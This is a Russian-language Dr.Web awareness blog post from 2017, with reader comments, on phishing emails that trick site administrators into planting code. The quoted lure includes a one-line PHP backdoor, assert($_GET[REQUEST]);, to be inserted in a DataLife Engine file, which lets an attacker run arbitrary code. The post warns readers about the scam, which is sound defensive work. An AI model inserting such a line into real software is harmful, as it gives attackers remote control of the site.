Фишинг на админов

На удочке

добавить в избранное

Фишинг на админов

Прочитали: 11058 Комментариев: 73 Рейтинг: 156

21 июня 2017

Фишеры очень любят атаковать офисных менеджеров: замученные постоянными письмами, те не особо вчитываются в очередные электронные сообщения. Но это не означает, что другие категории сотрудников фишеров не интересуют. Вот, скажем, письмо для админов:

У нас действительно есть интернет-сервис Dr.Web AV-Desk, поэтому письмо о проблемах с доменом с похожим названием – дело вполне вероятное.

Но приглядимся внимательнее. Письмо прислано на адрес отдела маркетинга. Какое отношение маркетинг имеет к владению сайтом? Далее: вместо того, чтобы затребовать документы, подтверждающие право управления доменом, нас просят создать некий файл. Даже не рассматривая содержимое файла: а вдруг мы на самом деле взломали и увели сайт? Тогда мы с легкостью создадим требуемый файл.

Как обычно, расчет на спешку и панику – дается три дня и ни минуты больше. Письмо, кстати, пришло 2 июня, так что, по идее, нужно было в течение дня все сделать.

Теперь проверяем телефоны при помощи обычного поиска: становится очевидно, что они не принадлежат ни одному из регистраторов сайтов.

Надо отметить, что эта рассылка ходит по Интернету уже не первый день. Фишка в том, что адрес отправителя – корректный. А рассчитывают злоумышленники на то, что пользователь, создав сайт, добавит на свой сайт бэкдор. При обращении к файлу на сайте, содержащему assert, будет выполнен код, переданный в параметрах.

Проверил, письмо пришло от регистратора. Пошел исполнять требование начальства. Минут десять у меня ушло на создание файла и размещение его на сайте. Спешу ответить на письмо регистратора, а то, вдруг файл не найдут, тогда кранты моему домену. Жму на кнопку почтового клиента «Ответить», в письме докладываю об окончании работ по размещению файла у себя на сайте. Отправляю письмо.

Думаете, что тут-то я и понял, что письмо пришло от злодея. Я же написал, что письмо проверял, оно пришло от регистратора, поэтому все проходит штатно, получаю ответ на свое письмо.

http://vbsupport.org/forum/showthread.php?t=52773

Мы не стали отвечать на данное письмо. К сожалению, так поступают не все.

Много действий от пользователя не нужно: создайте директорию, файл, напишите в этом файле одну строку.

Развод заключается в том, что пользователю предлагают создать файл с на первый взгляд безобидным php кодом. Однако, если посмотреть описание функции assert, то сразу станет ясно, что злоумышленники просто выполнят нужный им код.

https://habrahabr.ru/post/265513
https://habrahabr.ru/post/265515

Пошел удалять файл со своего сайта.

А дальше получил ответ на своё письмо, которое написал в ответ на письмо с требованием о размещении файла на своем сайте.

Цитата:

Здравствуйте!

Полученное Вами письмо является мошенническим и отношения к R01 не имеет.

Не рекомендуем внедрять указанный код, поскольку он даст возможность злоумышленникам провести любые манипуляции с содержимым Вашего сайта. Если код все же был размещен, рекомендуем проверить сайт на наличие вредоносного кода и/или восстановить состояние сайта из резервной копии.

С уважением,
...

Есть и другие фишинговые приемы, ориентированные на админов.

Уведомляем Вас о том, что силами наших специалистов на Вашем сайте была обнаружена критическая уязвимость, позволяющая злоумышленникам получить доступ к базе данных Вашего сайта из-за недостаточной фильтрации данных.

По нашим данным 60% сайтов, использующих «DataLife Engine», уязвимы и подвержены взлому посредством данной уязвимости. Именно по этой причине, мы приняли решение произвести рассылку администраторам уязвимых сайтов для того, чтобы они смогли оперативно обезопасить свои сайты от противоправных действий со стороны злоумышленников.

Для исправления уязвимости в текстовом редакторе откройте файл Вашего сайта: /engine/engine.php и в самое начало файла после строчки:

<?php>

добавьте:

assert($_GET[REQUEST]);

http://vbsupport.org/forum/showthread.php?t=50483

#фишинг #социальная_инженерия #корпоративная_безопасность

Антивирусная правДА! рекомендует

Читая входящие письма, не отключайте голову. Подавляющее большинство фишинговых сообщений отсеивается чистой логикой и по формальными признакам: по отсутствию известного отправителя, личного обращения и наличия обратной связи в подписи. В противном случае вы можете отправить деньги злоумышленникам или (как в данном случае) открыть для них дверь собственными руками.

Ну и, конечно, не забывайте, что использование антиспама убережет не только от почтового мусора и фишинга, но и от троянцев-шифровальщиков.

Оцените выпуск

Чтобы проголосовать зайдите в аккаунт на сайте или создайте его, если аккаунта еще нет.

Сделайте репост

Необходимо войти на страницу выпуска через аккаунт на сайте «Доктор Веб» (или создать аккаунт). Аккаунт должен быть связан с вашим аккаунтом в социальной сети. Видео о связывании аккаунта.

Нам важно ваше мнение

Чтобы оставить комментарий, нужно зайти через свой аккаунт на сайте «Доктор Веб». Если аккаунта еще нет, его можно создать.

Комментарии пользователей

Вячеслав
10:59:32 2020-11-09

нужно взять на вооружение

Sergey
05:22:49 2020-03-20

Спасибо за интересную и полезную информацию. Везде нужна холодная голова с ясным умом. И немного логики.

Денисенко Павел Андреевич
19:54:37 2018-07-30

Системный администратор, всегда должен быть умным и очень внимателен.

Неуёмный Обыватель Собкор
00:29:20 2018-07-03

Такие письма приходили. Но доказывать кому-то что-то я не стал.

alex-diesel Собкор
18:07:38 2018-05-26

Стоит чуть задуматься и становится понятно, что для проверки было бы достаточно разместить любой HTML с совершенно безобидной (и по-природе абсолютно безопасной) текстовой строкой. (как делают зачастую многие приличные сервисы.) Но не код!! Даже короткий.

Toma
16:49:42 2017-11-24

Фишеры атакуют даже админов! Это уже наглость.

AntonIT
12:44:59 2017-06-25

Социальная инженерия - очень эффективный вектор атаки.

SkyNet
18:41:23 2017-06-22

Возьмём на заметку

Tav01rus
07:57:03 2017-06-22

Спасибо за статью. На всякий случай сразу проверил все php файлы на сайте на наличие похожего кода. Всё чисто.

vla_va
22:30:09 2017-06-21

Антиспам важен!

Andromeda
22:21:17 2017-06-21

Внимательность всегда нужна.

В...а
22:12:09 2017-06-21

Додумались же...

НинаК
21:47:50 2017-06-21

"не отключайте голову" :) !

Dvakota
21:43:28 2017-06-21

Голову точно не надо отключать .

ek
21:16:07 2017-06-21

На админов усталых...

kva-kva
20:47:32 2017-06-21

Целевая атака!

mk.insta
20:32:57 2017-06-21

Манипулирует всем

Mehatronik
20:10:39 2017-06-21

Спасибо за статью)

Шалтай Александр Болтай Собкор
18:50:10 2017-06-21

Системный администратор должен думать на один—два клика дальше мышки.

Шалтай Александр Болтай Собкор
18:38:35 2017-06-21

@Tom, Всего наилучшего!

forrus
18:05:02 2017-06-21

разнообразие однако.

Любитель пляжного футбола Собкор
17:11:13 2017-06-21

@Tom, Happy birthday to you!

razgen Собкор
17:03:29 2017-06-21

В сети набирает обороты новая фишинговая атака, в рамках которой злоумышленники рассылают письма якобы от транспортной компании Uber.

https://www.gazeta.ru/tech/news/2017/06/21/n_10206281.shtml

razgen Собкор
16:59:31 2017-06-21

@Tom, с Днем рождения!

Dmur
15:58:15 2017-06-21

@Tom, поздравляю!

Masha
15:07:02 2017-06-21

@Tom, с Днем рождения!

Sasha50 Собкор
15:01:17 2017-06-21

@Tom,С днем рождения! Удачи во всем!

djabax
15:00:26 2017-06-21

Все обыденно

B0RIS
14:15:50 2017-06-21

Проверяй и доверяй ).

Родриго
14:06:26 2017-06-21

yt levfk? xnj tcnm ljdthxbdst k.lb

kozinka.ru Собкор
14:06:02 2017-06-21

Спасибо за предупреждение. На обслуживании - четыре домена. Но пока не приходилось получать таких "инструкций"...

Любитель пляжного футбола Собкор
14:01:00 2017-06-21

Расслабляться нельзя никому: ни обычным пользователям, ни тем более сисадминам. Из описания assert мало что понял, не для неспециалистов это, просто интересно, что добавление такого небольшого файла на сайт открывает «двери» злоумышленникам. Забавно, что не перестают рассылать фишинговые письма в компанию «Доктор Веб». На что они надеются?! :)

Вячeслaв Собкор
13:27:02 2017-06-21

@Littlefish, у "нормальных" спамеров письма формируются и рассылаются специальной программой. Не их почтового же клиента вручную их отправлять. Прописать в служебные поля можно что угодно при формировании письма

gattcka
13:10:07 2017-06-21

Хорошая статья, наглядная.

Раш КХ
12:59:35 2017-06-21

Большое спасибо!

Татьяна
12:21:43 2017-06-21

Интересная статья. При желании можно обмануть и системных администраторов.

Alexander Собкор
12:09:10 2017-06-21

Спасибо за информацию и напоминание. Предполагается, что админ должен быть "на голову выше" других сотрудников. Даже если так и случилось по факту, он все равно остается человеком со всеми его качествами. Он подвержен и усталости от изобилия информации, и временной невнимательности, и случаям, когда "бес попутал", и многим другим стечениям обстоятельств в различных ситуациях. Фишинговые письма в обозримом будущем, я полагаю, не прекратятся. Как же сократить до минимума вероятность ошибочных действий со стороны админа? Правильно настроенная защита от Dr.Web, - бесспорный действенный и качественный помощник. Но вот человеческие "слабости", и особенно должностная безаппеляционность, - могут "обойти" защиту самого умного и внимательного защитника от сетевых пакостей. В статье Dr.Web дает совершенно необходимые рекомендации. А еще, желательно, поддерживать в рабочем состоянии свою внимательность - это означает, в том числе, и перепроверять свои решения, а "не рубить с плеча"; не спешить разгрести кучу поступивших писем ("поспешай не торопясь"); подышать свежим воздухом перед производством реальных значимых действий.
Эта статья уже одиннадцатая в рубрике "На удочке". Нужная информация. Всем, а особенно админам, очень важно периодически возвращаться к азам.

duduka
11:24:54 2017-06-21

Да, бдительность и еще раз бдительность!

maestro431
11:16:48 2017-06-21

Мне понравилась статья! Каждый выпуск - это полезная информация!

coolira
11:11:37 2017-06-21

Приходило такое, но мы ученые.

Верните Неуёмного
10:45:39 2017-06-21

Да получал такие письма раза 2-3 несколько лет назад. Так как в письмах упоминались домены, которые были заброшены мною и я вообще не занимался ими ввиду обычной нехватки времени, то я не стал заморачиваться насчет каких-то там подтверждений. За предупреждение спасибо :)

krantroru
10:39:38 2017-06-21

Спасибо! Прочитано с включенной головой.

Natalya_2017
10:36:36 2017-06-21

И многие админы "попадаются на удочку"?

udginvr
10:21:37 2017-06-21

@Littlefish, Тот адрес отправителя, который мы видим, это на самом деле всего лишь поле "FROM" в теле письма. Как и во всех остальных полях, там технически может быть любое содержимое. Например, отправьте письмо, поставив кого-нибудь в скрытую копию (BCC). Если вы посмотрите на письмо, которое придёт получателям, там в поле "Кому" почтового адреса, которому вы направили скрытую копию, не будет - хотя ему письмо тоже будет доставлено.
Если требуется точно определить, от кого пришло письмо, нужно посмотреть его исходный текст - там в служебной информации будет описан весь путь, который проделало письмо, прежде чем попасть в ваш почтовый ящик (конечно, здесь тоже могут быть свои особенности, но в целом это значительно более надёжный способ). Именно поэтому в случае возникновения вопросов служба поддержки запрашивает полный текст письма, а не только его внешний вид.

220wolf
10:21:27 2017-06-21

Спасибо, Dr.Web, что вы ЕСТЬ!!!..

NEOMI1
10:13:52 2017-06-21

полезно знать такое

dyadya_Sasha Собкор
10:13:17 2017-06-21

Всем необходимо быть внимательными. А сисадминам тем более.

udginvr
10:10:26 2017-06-21

Ну это фишинг не на админов, а на "админов". То есть на людей, которые по какой-то причине администрируют сайт, не имея для этого никакой компетенции. Например для абстрактного "владельца маленького бизнеса", который решил завести интернет-магазин, за недостатком ресурсов сам купил домен с хостингом, скачал готовый движок для интернет-магазина, наполнил его позициями и старается не дышать на эту вундервафлю, чтобы не дай бог что-нибудь там не сломалось.

razgen Собкор
10:00:09 2017-06-21

Предельная внимательность, осмотрительность, осторожность и ни какой спешки.

SGES Собкор
09:54:02 2017-06-21

Орешек знаний тверд...

Комментарии к другим выпускам | Мои комментарии

Главная

Выпуски

Рубрики

Рейтинг

О проекте

Статистика

Избранное

Инструменты

Антивирусная правДА!TM

Фишинг на админов

Антивирусная правДА! рекомендует

Нам важно ваше мнение

Комментарии пользователей